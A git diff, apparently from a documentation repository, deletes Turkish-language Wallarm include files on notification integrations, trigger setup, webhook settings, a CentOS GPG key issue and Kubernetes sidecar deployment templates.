dışı bırakıldı, silindi) - * [Application](../../../user-guides/settings/applications.md) değişiklikleri (yeni oluşturuldu, silindi, ad değişikliği) - * [rogue API tespiti](../../../api-discovery/rogue-api.md#step-1-upload-specification) veya [API spesifikasyonunun uygulanması](../../../api-specification-enforcement/setup.md#step-1-upload-specification) için kullanılan spesifikasyonların düzenli güncellenmesi sırasında oluşan hatalar -* [Vulnerabilities](../../../glossary-en.md#vulnerability) tespit edildi, varsayılan olarak tümü veya yalnızca seçilen risk seviyesi/seviyeleri için - high, medium veya low. -* [Rules](../../../user-guides/rules/rules.md) ve [triggers](../../../user-guides/triggers/triggers.md) değiştirildi (kural veya tetikleyici oluşturma, güncelleme ya da silme) -* ([AASM Enterprise](../../../api-attack-surface/setup.md#enabling) gerektirir) [Security issues](../../../api-attack-surface/security-issues.md) tespit edildi, tümü veya yalnızca seçilen [risk level(s)](../../../api-attack-surface/security-issues.md#issue-risk-level): - * Critical risk - * High risk - * Medium risk - * Low risk - * Info risk -* Saatlik olarak, önceki saat içinde işlenen istek sayısını içeren bir bildirim alabilirsiniz \ No newline at end of file diff --git a/include-tr/integrations/application-for-splunk.md b/include-tr/integrations/application-for-splunk.md deleted file mode 100644 index 46a81fef15..0000000000 --- a/include-tr/integrations/application-for-splunk.md +++ /dev/null @@ -1,14 +0,0 @@ -Splunk 9.0 veya daha yeni sürümlerde Wallarm olaylarını kullanıma hazır bir gösterge panelinde düzenlemek için [Splunk için Wallarm uygulamasını](https://splunkbase.splunk.com/app/6610) kurabilirsiniz. - -Bu uygulama, Wallarm’dan alınan olaylarla otomatik olarak doldurulan, önceden yapılandırılmış bir gösterge paneli sunar. Ayrıca, uygulama her olayın ayrıntılı günlüklerini görüntülemenizi ve gösterge panelinden verileri dışa aktarmanızı sağlar. - -![Splunk gösterge paneli][splunk-dashboard-by-wallarm-img] - -Splunk için Wallarm uygulamasını yüklemek için: - -1. Splunk UI ➝ **Apps** içinde `Wallarm API Security` uygulamasını bulun. -1. **Install**’a tıklayın ve Splunkbase kimlik bilgilerini girin. - -Bazı Wallarm olayları Splunk’ta zaten kaydedildiyse, bunlar ve Wallarm’ın daha sonra keşfedeceği olaylar gösterge panelinde görüntülenecektir. - -Ayrıca, kullanıma hazır gösterge panelini tamamen özelleştirebilirsiniz; örneğin görünümünü veya tüm Splunk kayıtlarından veri çıkarmak için kullanılan [arama sorgularını](https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Search). \ No newline at end of file diff --git a/include-tr/integrations/disable-integration.md b/include-tr/integrations/disable-integration.md deleted file mode 100644 index 4c61440f8b..0000000000 --- a/include-tr/integrations/disable-integration.md +++ /dev/null @@ -1,8 +0,0 @@ -Rapor ve bildirimlerin gönderimini geçici olarak durdurmak için entegrasyonu devre dışı bırakabilirsiniz: - -1. [US](https://us1.my.wallarm.com/integrations/) veya [EU](https://my.wallarm.com/integrations/) Cloud üzerinden Wallarm Console → **Integrations** bölümüne gidin. -2. Aktif bir entegrasyonu açın ve **Disable**'a tıklayın. - -Rapor ve bildirimlerin gönderimini yeniden etkinleştirmek için, devre dışı bırakılmış entegrasyonu açın ve **Enable**'a tıklayın. - -Entegrasyonun devre dışı bırakılması bir sistem olayıdır. Sistem bildirimlerini alıyorsanız, devre dışı bırakılmış entegrasyona ilişkin mesajlar [yapılandırılmış sisteme](integrations-intro.md#integration-types) gönderilir. \ No newline at end of file diff --git a/include-tr/integrations/events-for-integrations-4.6.md b/include-tr/integrations/events-for-integrations-4.6.md deleted file mode 100644 index 06b7627aa3..0000000000 --- a/include-tr/integrations/events-for-integrations-4.6.md +++ /dev/null @@ -1,9 +0,0 @@ -* Sistemle ilgili: - * [Kullanıcı](../../../user-guides/settings/users.md) değişiklikleri (yeni oluşturma, silme, rol değişikliği) - * [Entegrasyon](integrations-intro.md) değişiklikleri (devre dışı bırakma, silme) - * [Uygulama](../../../user-guides/settings/applications.md) değişiklikleri (yeni oluşturma, silme, ad değişikliği) -* [Zafiyetler](../../../glossary-en.md#vulnerability) tespit edildi, varsayılan olarak tümü ya da yalnızca seçili risk düzeyi/düzeyleri için: - * Yüksek risk - * Orta risk - * Düşük risk -* [Kurallar](../../../user-guides/rules/intro.md) ve [tetikleyiciler](../../../user-guides/triggers/triggers.md) değiştirildi (kuralın veya tetikleyicinin oluşturulması, güncellenmesi ya da silinmesi) \ No newline at end of file diff --git a/include-tr/integrations/events-for-integrations-mail-4.10.md b/include-tr/integrations/events-for-integrations-mail-4.10.md deleted file mode 100644 index 921f5b63bb..0000000000 --- a/include-tr/integrations/events-for-integrations-mail-4.10.md +++ /dev/null @@ -1,9 +0,0 @@ -* Sistemle ilgili: - * [Kullanıcı](../../../user-guides/settings/users.md) değişiklikleri (yeni oluşturma, silme, rol değişikliği) - * [Entegrasyon](integrations-intro.md) değişiklikleri (devre dışı bırakma, silme) - * [Uygulama](../../../user-guides/settings/applications.md) değişiklikleri (yeni oluşturma, silme, ad değişikliği) -* [Güvenlik açıkları](../../../glossary-en.md#vulnerability) tespit edildi, varsayılan olarak tümü veya yalnızca seçilen risk düzeyi(leri) için: - * Yüksek risk - * Orta risk - * Düşük risk -* [kayıt dışı API tespiti](../../../api-discovery/rogue-api.md#step-1-upload-specification) veya [API spesifikasyonunun uygulanması](../../../api-specification-enforcement/setup.md#step-1-upload-specification) için kullanılan spesifikasyonların düzenli güncellenmesi sırasında hatalar \ No newline at end of file diff --git a/include-tr/integrations/events-for-integrations-mail.md b/include-tr/integrations/events-for-integrations-mail.md deleted file mode 100644 index 805c6f2c2f..0000000000 --- a/include-tr/integrations/events-for-integrations-mail.md +++ /dev/null @@ -1,13 +0,0 @@ -* Sistemle ilgili: - * [Kullanıcı](../../../user-guides/settings/users.md) değişiklikleri (yeni oluşturuldu, silindi, rol değişikliği) - * [Entegrasyon](integrations-intro.md) değişiklikleri (devre dışı bırakıldı, silindi) - * [Uygulama](../../../user-guides/settings/applications.md) değişiklikleri (yeni oluşturuldu, silindi, ad değişikliği) - * [rogue API tespiti](../../../api-discovery/rogue-api.md#step-1-upload-specification) veya [API spesifikasyonu uygulaması](../../../api-specification-enforcement/setup.md#step-1-upload-specification) için kullanılan spesifikasyonların düzenli güncellenmesi sırasında hatalar -* [Güvenlik açıkları](../../../glossary-en.md#vulnerability) tespit edildi, varsayılan olarak tümü veya yalnızca seçilen risk düzeyi/düzeyleri için: - * Yüksek risk - * Orta risk - * Düşük risk -* [API Attack Surface](../../../api-attack-surface/overview.md) bildirimleri (yalnızca API Attack Surface [abonelik planı](../../../../about-wallarm/subscription-plans/#api-attack-surface) ile kullanılabilir): - * Günlük kritik güvenlik sorunları (yalnızca yeni) - * Günlük güvenlik sorunları (yalnızca yeni) - * Haftalık AASM istatistikleri \ No newline at end of file diff --git a/include-tr/integrations/events-for-integrations.md b/include-tr/integrations/events-for-integrations.md deleted file mode 100644 index 7c29de9ec5..0000000000 --- a/include-tr/integrations/events-for-integrations.md +++ /dev/null @@ -1,16 +0,0 @@ -* Sistem ile ilgili: - * [Kullanıcı](../../../user-guides/settings/users.md) değişiklikleri (yeni oluşturuldu, silindi, rol değişikliği) - * [Entegrasyon](integrations-intro.md) değişiklikleri (devre dışı bırakıldı, silindi) - * [Uygulama](../../../user-guides/settings/applications.md) değişiklikleri (yeni oluşturuldu, silindi, ad değişikliği) - * [rogue API tespiti](../../../api-discovery/rogue-api.md#step-1-upload-specification) veya [API spesifikasyonunun uygulanması](../../../api-specification-enforcement/setup.md#step-1-upload-specification) için kullanılan spesifikasyonların düzenli güncellenmesi sırasında hatalar -* [Güvenlik açıkları](../../../glossary-en.md#vulnerability) tespit edildi, varsayılan olarak tümü ya da yalnızca seçilen risk düzeyi/düzeyleri için: - * Yüksek risk - * Orta risk - * Düşük risk -* [Kurallar](../../../user-guides/rules/rules.md) ve [tetikleyiciler](../../../user-guides/triggers/triggers.md) değiştirildi (kuralı veya tetikleyiciyi oluşturma, güncelleme ya da silme) -* ([AASM Enterprise](../../../api-attack-surface/setup.md#enabling) gerektirir) [Güvenlik sorunları](../../../api-attack-surface/security-issues.md) tespit edildi, tümü ya da yalnızca seçilen [risk düzeyi/düzey(ler)i](../../../api-attack-surface/security-issues.md#issue-risk-level): - * Kritik risk - * Yüksek risk - * Orta risk - * Düşük risk - * Bilgi riski \ No newline at end of file diff --git a/include-tr/integrations/integration-not-working.md b/include-tr/integrations/integration-not-working.md deleted file mode 100644 index bac7f6c747..0000000000 --- a/include-tr/integrations/integration-not-working.md +++ /dev/null @@ -1,15 +0,0 @@ -Sisteme bildirimler istekler aracılığıyla gönderilir. Sistem kullanılamaz durumdaysa veya entegrasyon parametreleri yanlış yapılandırılmışsa, isteğin yanıtında hata kodu döndürülür. - -Sistem, Wallarm isteğine `2xx` dışındaki herhangi bir kodla yanıt verirse, Wallarm `2xx` kodu alınana kadar belirli aralıklarla isteği yeniden gönderir: - -* İlk çevrim aralıkları: 1, 3, 5, 10, 10 saniye -* İkinci çevrim aralıkları: 0, 1, 3, 5, 30 saniye -* Üçüncü çevrim aralıkları: 1, 1, 3, 5, 10, 30 dakika - -Başarısız isteklerin oranı 12 saat içinde %60'a ulaşırsa, entegrasyon otomatik olarak devre dışı bırakılır. Sistem bildirimleri alıyorsanız, otomatik olarak devre dışı bırakılan entegrasyon hakkında bir mesaj alırsınız. - - \ No newline at end of file diff --git a/include-tr/integrations/integrations-disable-delete.md b/include-tr/integrations/integrations-disable-delete.md deleted file mode 100644 index 996fdf2cbc..0000000000 --- a/include-tr/integrations/integrations-disable-delete.md +++ /dev/null @@ -1,3 +0,0 @@ -Entegrasyonu silebilir veya geçici olarak devre dışı bırakabilirsiniz. Silme işlemi bildirim gönderimini durdurur ve tüm yapılandırmayı tamamen siler; devre dışı bırakma ise yalnızca bildirim gönderimini durdurur ve aynı ayarlarla dilediğiniz anda yeniden etkinleştirebilirsiniz. - -Entegrasyon için bildirimleri tetiklemek üzere **System related** olayları seçildiyse, Wallarm bu iki eylemin her ikisi hakkında da bildirimde bulunur. \ No newline at end of file diff --git a/include-tr/integrations/integrations-trigger-setup-ar.md b/include-tr/integrations/integrations-trigger-setup-ar.md deleted file mode 100644 index 775ed0085a..0000000000 --- a/include-tr/integrations/integrations-trigger-setup-ar.md +++ /dev/null @@ -1,19 +0,0 @@ -Entegrasyon kartı üzerinden zaten yapılandırdığınız bildirimlere ek olarak, Wallarm tetikleyicileri bildirimler için ek olaylar seçmenize olanak tanır: - -* Zaman aralığı (gün, saat vb.) başına [saldırıların](../../../glossary-en.md#attack), [hit'lerin](../../../glossary-en.md#hit) veya olayların sayısı belirlenen sayıyı aşıyor - - !!! info "Sayılmayanlar" - * Saldırılar için: - * [Özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayalı deneysel saldırılar. - * Hit'ler için: - * [Özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayalı deneysel hit'ler. - * [Örneklem](../../../user-guides/events/analyze-attack.md#sampling-of-hits) içinde kaydedilmeyen hit'ler. - -* [API'de değişiklikler](../../../api-discovery/track-changes.md) gerçekleşti -* IP adresi [denylist'e alındı](../../../user-guides/ip-lists/overview.md) -* Yeni [izinsiz API](../../../api-discovery/rogue-api.md) (shadow, orphan, zombie) tespit edildi -* Şirket hesabına yeni kullanıcı eklendi - -Koşulu ayrıntılandırmak için bir veya daha fazla filtre ekleyebilirsiniz. Koşul ve filtreler ayarlandıktan sonra, seçilen uyarının gönderileceği entegrasyonu seçin. Aynı anda birden fazla entegrasyon seçebilirsiniz. - -![Bir entegrasyon seçme](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-tr/integrations/integrations-trigger-setup-limited-ar.md b/include-tr/integrations/integrations-trigger-setup-limited-ar.md deleted file mode 100644 index e62ee10bd4..0000000000 --- a/include-tr/integrations/integrations-trigger-setup-limited-ar.md +++ /dev/null @@ -1,18 +0,0 @@ -Entegration card üzerinden zaten yapılandırdığınız bildirimlere ek olarak, Wallarm tetikleyicileri bildirimler için ek olaylar seçmenize olanak tanır: - -* Zaman aralığı başına (gün, saat vb.) [saldırıların](../../../glossary-en.md#attack), [hitlerin](../../../glossary-en.md#hit) veya olayların sayısı belirlenen sayıyı aşarsa - - !!! info "Nelerin sayılmadığı" - * Saldırılar için: - * [özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayanan deneysel saldırılar. - * Hitler için: - * [özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayanan deneysel hitler. - * [örneklemde](../../../user-guides/events/analyze-attack.md#sampling-of-hits) kaydedilmeyen hitler. - -* [API'de değişiklikler](../../../api-discovery/track-changes.md) gerçekleşti -* Yeni [rogue API](../../../api-discovery/rogue-api.md) (shadow, orphan, zombie) tespit edildi -* Şirket hesabına yeni bir kullanıcı eklendi - -Koşulu ayrıntılandırmak için bir veya daha fazla filtre ekleyebilirsiniz. Koşul ve filtreler ayarlanır ayarlanmaz, seçilen uyarının gönderileceği entegrasyonu seçin. Aynı anda birden fazla entegrasyon seçebilirsiniz. - -![Entegrasyon seçimi](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-tr/integrations/integrations-trigger-setup-limited.md b/include-tr/integrations/integrations-trigger-setup-limited.md deleted file mode 100644 index 5e93bc5fc2..0000000000 --- a/include-tr/integrations/integrations-trigger-setup-limited.md +++ /dev/null @@ -1,18 +0,0 @@ -Entegrasyon kartı üzerinden zaten yapılandırdığınız bildirimlere ek olarak, Wallarm tetikleyicileri bildirimler için ek olaylar seçmenize olanak tanır: - -* Belirli bir zaman aralığında (gün, saat vb.) [saldırılar](../../../glossary-en.md#attack), [hits](../../../glossary-en.md#hit) veya olay sayısının belirlenen sayıyı aşması - - !!! info "Sayılmayanlar" - * Saldırılar için: - * [Özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayanan deneysel saldırılar. - * Hits için: - * [Özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayanan deneysel hits. - * [Örneklem](../../events/grouping-sampling.md#sampling-of-hits) içinde kaydedilmeyen Hits. - -* [API'de değişiklikler](../../../api-discovery/track-changes.md) gerçekleşti -* Yeni [izinsiz API](../../../api-discovery/rogue-api.md) (shadow, orphan, zombie) tespit edildi -* Şirket hesabına yeni kullanıcı eklendi - -Koşulu ayrıntılandırmak için bir veya daha fazla filtre ekleyebilirsiniz. Koşul ve filtreler ayarlandıktan sonra, seçilen uyarının hangi entegrasyon üzerinden gönderileceğini seçin. Aynı anda birden fazla entegrasyon seçebilirsiniz. - -![Bir entegrasyon seçme](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-tr/integrations/integrations-trigger-setup-siem-webhook.md b/include-tr/integrations/integrations-trigger-setup-siem-webhook.md deleted file mode 100644 index 074efe7587..0000000000 --- a/include-tr/integrations/integrations-trigger-setup-siem-webhook.md +++ /dev/null @@ -1,44 +0,0 @@ -### Adım 1: Koşul seçimi - -Bildirim için aşağıdaki koşullar mevcuttur: - -* Belirli bir zaman aralığı (gün, saat vb.) başına [saldırıların](../../../glossary-en.md#attack), [hits](../../../glossary-en.md#hit) veya incidents sayısı belirlenen sayıyı aşıyor - - !!! info "Sayılmayanlar" - * Saldırılar için: - * [Özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayanan deneysel saldırılar. - * hits için: - * [Özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayanan deneysel hits. - * [Örneklemde](../../events/grouping-sampling.md#sampling-of-hits) kaydedilmeyen Hits. - -* Yasaklı IP -* [API'deki değişiklikler](../../about-wallarm/api-discovery.md#tracking-changes-in-api) -* Kullanıcı eklendi - -### Adım 2: Filtre ekleme - -Filtreler, koşulu ayrıntılandırmak için kullanılır. Şu filtreler mevcuttur: - -* **Type**, istekte tespit edilen saldırının [türü](../../attacks-vulns-list.md) veya isteğin yöneltildiği güvenlik açığı türüdür. -* **Application**, isteği alan ya da bir incident tespit edilen [uygulamadır](../settings/applications.md). -* **IP**, isteğin gönderildiği IP adresidir. - - Bu filtre yalnızca tekil IP'leri bekler; alt ağlara, konumlara ve kaynak türlerine izin vermez. -* **Domain**, isteği alan veya bir incident tespit edilen alan adıdır. -* **Response status**, istek için döndürülen yanıt kodudur. -* **Target**, saldırının yöneltildiği veya incident'in tespit edildiği uygulama mimarisi parçasıdır. Aşağıdaki değerleri alabilir: `Server`, `Client`, `Database`. - -Wallarm Console arayüzünde bir veya daha fazla filtre seçin ve bunlar için değerleri ayarlayın. - -### Adım 3: Entegrasyonu seçme - -Bu adımda, seçilen uyarının gönderileceği entegrasyonu seçersiniz. Aynı anda birden fazla entegrasyon seçebilirsiniz. - -![Bir entegrasyon seçme](../../images/user-guides/triggers/select-integration.png) - -### Adım 4: Tetikleyiciyi kaydetme - -1. Tetikleyici oluşturma modal iletişim kutusunda **Create** düğmesine tıklayın. -2. İsteğe bağlı olarak tetikleyicinin adını ve açıklamasını belirtin ve **Done** düğmesine tıklayın. - -Tetikleyici adı ve açıklaması belirtilmezse, tetikleyici `New trigger by , ` adıyla ve boş bir açıklamayla oluşturulur. \ No newline at end of file diff --git a/include-tr/integrations/integrations-trigger-setup.md b/include-tr/integrations/integrations-trigger-setup.md deleted file mode 100644 index 2cf7af9dea..0000000000 --- a/include-tr/integrations/integrations-trigger-setup.md +++ /dev/null @@ -1,19 +0,0 @@ -Entegrasyon kartı üzerinden zaten kurduğunuz bildirimlere ek olarak, Wallarm tetikleyicileri bildirimler için ek olaylar seçmenize olanak tanır: - -* Belirli bir zaman aralığında (gün, saat vb.) [attacks](../../../glossary-en.md#attack), [hits](../../../glossary-en.md#hit) veya olay sayısının belirlenen sayıyı aşması - - !!! info "Nelerin sayılmadığı" - * attacks için: - * [özel düzenli ifadeler](../../../user-guides/rules/regex-rule.md) temel alınan deneysel attacks. - * hits için: - * [özel düzenli ifadelere](../../../user-guides/rules/regex-rule.md) dayalı deneysel hits. - * [sample](../../events/grouping-sampling.md#sampling-of-hits) içine kaydedilmeyen Hits. - -* [API'de değişiklikler](../../../api-discovery/track-changes.md) gerçekleşti -* IP adresi [denylisted](../../../user-guides/ip-lists/overview.md) oldu -* Yeni [rogue API](../../../api-discovery/rogue-api.md) (shadow, orphan, zombie) tespit edildi -* Şirket hesabına yeni kullanıcı eklendi - -Koşulu ayrıntılandırmak için bir veya daha fazla filtre ekleyebilirsiniz. Koşul ve filtreler ayarlandıktan sonra, seçilen uyarının gönderileceği entegrasyonu seçin. Aynı anda birden fazla entegrasyon seçebilirsiniz. - -![Bir entegrasyon seçme](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-tr/integrations/remove-integration.md b/include-tr/integrations/remove-integration.md deleted file mode 100644 index 7cd6333b5a..0000000000 --- a/include-tr/integrations/remove-integration.md +++ /dev/null @@ -1,7 +0,0 @@ -Raporları ve bildirimleri kalıcı olarak göndermeyi durdurmak için entegrasyonu silebilirsiniz. Bir entegrasyonun silinmesi geri alınamaz. Entegrasyon listeden kalıcı olarak kaldırılacaktır. - -1. [US](https://us1.my.wallarm.com/integrations/) veya [EU](https://my.wallarm.com/integrations/) Cloud’daki Wallarm Console → **Integrations** bölümüne gidin. -2. Entegrasyonu açın ve **Delete**’e tıklayın. -3. İşlemi onaylayın. - -Entegrasyonun silinmesi bir sistem olayıdır. Sistem bildirimleri alıyorsanız, silinen entegrasyona ilişkin mesajlar [yapılandırılmış sisteme](integrations-intro.md#integration-types) gönderilecektir. \ No newline at end of file diff --git a/include-tr/integrations/test-integration-advanced-data.md b/include-tr/integrations/test-integration-advanced-data.md deleted file mode 100644 index 9c12b6a641..0000000000 --- a/include-tr/integrations/test-integration-advanced-data.md +++ /dev/null @@ -1,13 +0,0 @@ -Entegrasyon testleri, yapılandırmanın doğruluğunu, Wallarm Cloud'un kullanılabilirliğini ve bildirim formatını kontrol etmeyi sağlar. Entegrasyonu test etmek için, entegrasyonu oluştururken veya düzenlerken **Test integration** düğmesini kullanabilirsiniz. - -Entegrasyon şu şekilde test edilir: - -* `[Test message]` önekine sahip test bildirimleri seçilen sisteme gönderilir. -* Test bildirimleri aşağıdaki olayları kapsar (her biri tek bir kayıtta): - - * Şirket hesabında yeni kullanıcı - * Yeni tespit edilen hit - * Şirket kapsamında yeni keşfedilen IP - * Şirket hesabında yeni trigger - * Yeni keşfedilen güvenlik açığı -* Test bildirimleri test verisi içerir. \ No newline at end of file diff --git a/include-tr/integrations/test-integration-basic-data.md b/include-tr/integrations/test-integration-basic-data.md deleted file mode 100644 index df4a5a67c6..0000000000 --- a/include-tr/integrations/test-integration-basic-data.md +++ /dev/null @@ -1,12 +0,0 @@ -Entegrasyon testi, yapılandırmanın doğruluğunu, Wallarm Cloud'un erişilebilirliğini ve bildirim biçimini kontrol etmeye olanak tanır. Entegrasyonu test etmek için, entegrasyonu oluştururken veya düzenlerken **Test integration** düğmesini kullanabilirsiniz. - -Entegrasyon şu şekilde test edilir: - -* Ön eki `[Test message]` olan test bildirimleri seçilen sisteme gönderilir. -* Test bildirimleri aşağıdaki olayları kapsar (her biri tek bir kayıtta): - - * Şirket hesabında yeni kullanıcı - * Şirket kapsamında yeni keşfedilen IP - * Şirket hesabında yeni tetikleyici - * Yeni keşfedilen güvenlik açığı -* Test bildirimleri test verilerini içerir. \ No newline at end of file diff --git a/include-tr/integrations/test-integration-with-email.md b/include-tr/integrations/test-integration-with-email.md deleted file mode 100644 index 3538a315d5..0000000000 --- a/include-tr/integrations/test-integration-with-email.md +++ /dev/null @@ -1,11 +0,0 @@ -Entegrasyon testi, yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim formatını kontrol etmeye olanak tanır. Entegrasyonu test etmek için, entegrasyonu oluştururken veya düzenlerken **Test integration** düğmesini kullanabilirsiniz. - -Entegrasyon şu şekilde test edilir: - -* Ön eki `[Test message]` olan test bildirimleri seçilen sisteme gönderilir. -* Test bildirimleri aşağıdaki olayları kapsar (her biri tek bir kayıtta): - - * Şirket hesabında yeni kullanıcı - * Şirket kapsamı içinde yeni keşfedilen IP - * Yeni keşfedilen güvenlik açığı -* Test bildirimleri test verilerini içerir. \ No newline at end of file diff --git a/include-tr/integrations/update-integration.md b/include-tr/integrations/update-integration.md deleted file mode 100644 index de6c032db6..0000000000 --- a/include-tr/integrations/update-integration.md +++ /dev/null @@ -1,5 +0,0 @@ -Aktif entegrasyonun ayarlarını güncellemek için: - -1. [US](https://us1.my.wallarm.com/integrations/) veya [EU](https://my.wallarm.com/integrations/) Cloud'da Wallarm Console → **Integrations** bölümüne gidin. -2. Aktif bir entegrasyonu açın. -3. Gerekli değişiklikleri yapın ve **Save**'e tıklayın. \ No newline at end of file diff --git a/include-tr/integrations/webhook-advanced-settings.md b/include-tr/integrations/webhook-advanced-settings.md deleted file mode 100644 index 2e80e53870..0000000000 --- a/include-tr/integrations/webhook-advanced-settings.md +++ /dev/null @@ -1,7 +0,0 @@ -* **Request method**: `POST` veya `PUT`. Varsayılan olarak, POST istekleri gönderilir. -* **Request header** ve sunucu, isteği gerçekleştirmek için standart dışı bir başlık gerektiriyorsa bunun değeri. Başlık sayısında bir sınırlama yoktur. -* **CA certificate**: sunucu sertifikasını imzalayan CA'nın sertifikası. CA genel olarak güvenilen bir CA ise, bu alan isteğe bağlıdır. Sunucu sertifikası öz‑imzalıysa, bu alan zorunludur ve sunucu sertifikasını imzalayan kendi CA'nızın sertifikasını içermelidir. -* **Verify TLS certificate**: bu ayar, belirtilen sunucu sertifikasının doğrulanmasını devre dışı bırakmanıza olanak tanır. Varsayılan olarak, Wallarm bir sunucu sertifikasının genel olarak güvenilen bir CA tarafından imzalanıp imzalanmadığını doğrular. Üretim sunucu sertifikalarının doğrulamasını devre dışı bırakmanızı önermiyoruz. Sunucunuz öz‑imzalı bir TLS sertifikası kullanıyorsa, bu sunucuya istek göndermeye izin vermek için öz‑imzalı bir CA sertifikası ekleyebilirsiniz. -* **Request timeout, in seconds**: sunucu belirtilen süre içinde isteğe yanıt vermezse, istek başarısız olur. Varsayılan: 15 saniye. -* **Connection timeout, in seconds**: sunucuya bağlantı belirtilen süre içinde kurulamazsa, istek başarısız olur. Varsayılan: 20 saniye. -* Wallarm data format: ya JSON Array (varsayılan) ya da New Line Delimited JSON (NDJSON). \ No newline at end of file diff --git a/include-tr/integrations/webhook-examples/create-fluentd-webhook.md b/include-tr/integrations/webhook-examples/create-fluentd-webhook.md deleted file mode 100644 index c189db6033..0000000000 --- a/include-tr/integrations/webhook-examples/create-fluentd-webhook.md +++ /dev/null @@ -1,4 +0,0 @@ -* Webhook'lar `https://fluentd-example-domain.com` adresine gönderilir -* Webhook'lar POST istekleri aracılığıyla gönderilir -* Webhook entegrasyonunun varsayılan gelişmiş ayarları vardır -* Webhook URL'lerine gönderilen Webhook'lar tüm mevcut olayları kapsar: hits, system events, vulnerabilities, scope changes \ No newline at end of file diff --git a/include-tr/integrations/webhook-examples/create-logstash-webhook.md b/include-tr/integrations/webhook-examples/create-logstash-webhook.md deleted file mode 100644 index 9909d35af0..0000000000 --- a/include-tr/integrations/webhook-examples/create-logstash-webhook.md +++ /dev/null @@ -1,4 +0,0 @@ -* Webhook'lar `https://logstash.example.domain.com` adresine gönderilir -* Webhook'lar POST istekleri aracılığıyla gönderilir -* Webhook entegrasyonunda varsayılan gelişmiş ayarlar mevcuttur -* Webhook URL'lerine gönderilen Webhook'lar için mevcut olan tüm olaylar: hits, system events, vulnerabilities, scope changes \ No newline at end of file diff --git a/include-tr/integrations/webhook-examples/overview.md b/include-tr/integrations/webhook-examples/overview.md deleted file mode 100644 index 5e58f77f71..0000000000 --- a/include-tr/integrations/webhook-examples/overview.md +++ /dev/null @@ -1,4 +0,0 @@ -Karmaşık sistemlerde en yaygın günlükleme şeması aşağıdaki bileşenlerden oluşur: - -* Veri toplayıcı: birden fazla kaynaktan günlükleri kabul eder ve günlükleri SIEM sistemine iletir -* [SIEM sistemi](https://www.wallarm.com/what/siem-whats-security-information-and-event-management-technology-part-1) veya günlük yönetimi sistemleri: günlükleri analiz etmek ve sistem durumunu izlemek için kullanılır \ No newline at end of file diff --git a/include-tr/integrations/webhook-examples/send-test-webhook.md b/include-tr/integrations/webhook-examples/send-test-webhook.md deleted file mode 100644 index b3bf9d1f26..0000000000 --- a/include-tr/integrations/webhook-examples/send-test-webhook.md +++ /dev/null @@ -1,3 +0,0 @@ -Yapılandırmayı test etmek için Wallarm Console'da yeni bir kullanıcı eklenir: - -![Kullanıcı ekleme](../../../../images/user-guides/settings/integrations/webhook-examples/adding-user.png) \ No newline at end of file diff --git a/include-tr/issue-with-gpg-keys.md b/include-tr/issue-with-gpg-keys.md deleted file mode 100644 index 22552b09bd..0000000000 --- a/include-tr/issue-with-gpg-keys.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! warning "CentOS GPG anahtarlarıyla ilgili sorun" - Wallarm deposunu zaten eklediyseniz ve geçersiz CentOS GPG anahtarlarıyla ilgili bir hata aldıysanız, lütfen şu adımları izleyin: - - 1. Eklenen depoyu `yum remove wallarm-node-repo` komutunu kullanarak kaldırın. - 2. Depoyu yukarıdaki uygun sekmedeki komutu kullanarak ekleyin. - - Olası hata iletileri: - - * `https://repo.wallarm.com/centos/wallarm-node/7/2.14/x86_64/repodata/repomd.xml: [Errno -1] repomd.xml signature could not be verified for wallarm-node_2.14` - * `One of the configured repositories failed (Wallarm Node for CentOS 7 - 2.14), and yum doesn't have enough cached data to continue.` \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/deployment-template.md b/include-tr/kubernetes-sidecar-container/deployment-template.md deleted file mode 100644 index e9a02d9430..0000000000 --- a/include-tr/kubernetes-sidecar-container/deployment-template.md +++ /dev/null @@ -1,26 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Ana uygulama konteynerinizin tanımı - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Uygulama konteynerinin gelen istekleri kabul ettiği bağlantı noktası - - containerPort: 8080 -``` \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md b/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md deleted file mode 100644 index 022502d991..0000000000 --- a/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md +++ /dev/null @@ -1,59 +0,0 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # Wallarm öğesi: Wallarm ConfigMap değiştirildikten sonra çalışan pod'ları güncellemek için açıklama (annotation) - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Wallarm öğesi: Wallarm sidecar kapsayıcı tanımı - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: DEPLOY_USER - value: {{ .Values.wallarm.deploy_username | quote }} - - name: DEPLOY_PASSWORD - value: {{ .Values.wallarm.deploy_password | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # Wallarm sidecar kapsayıcısının istekleri kabul ettiği bağlantı noktası - # Service nesnesinden - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - 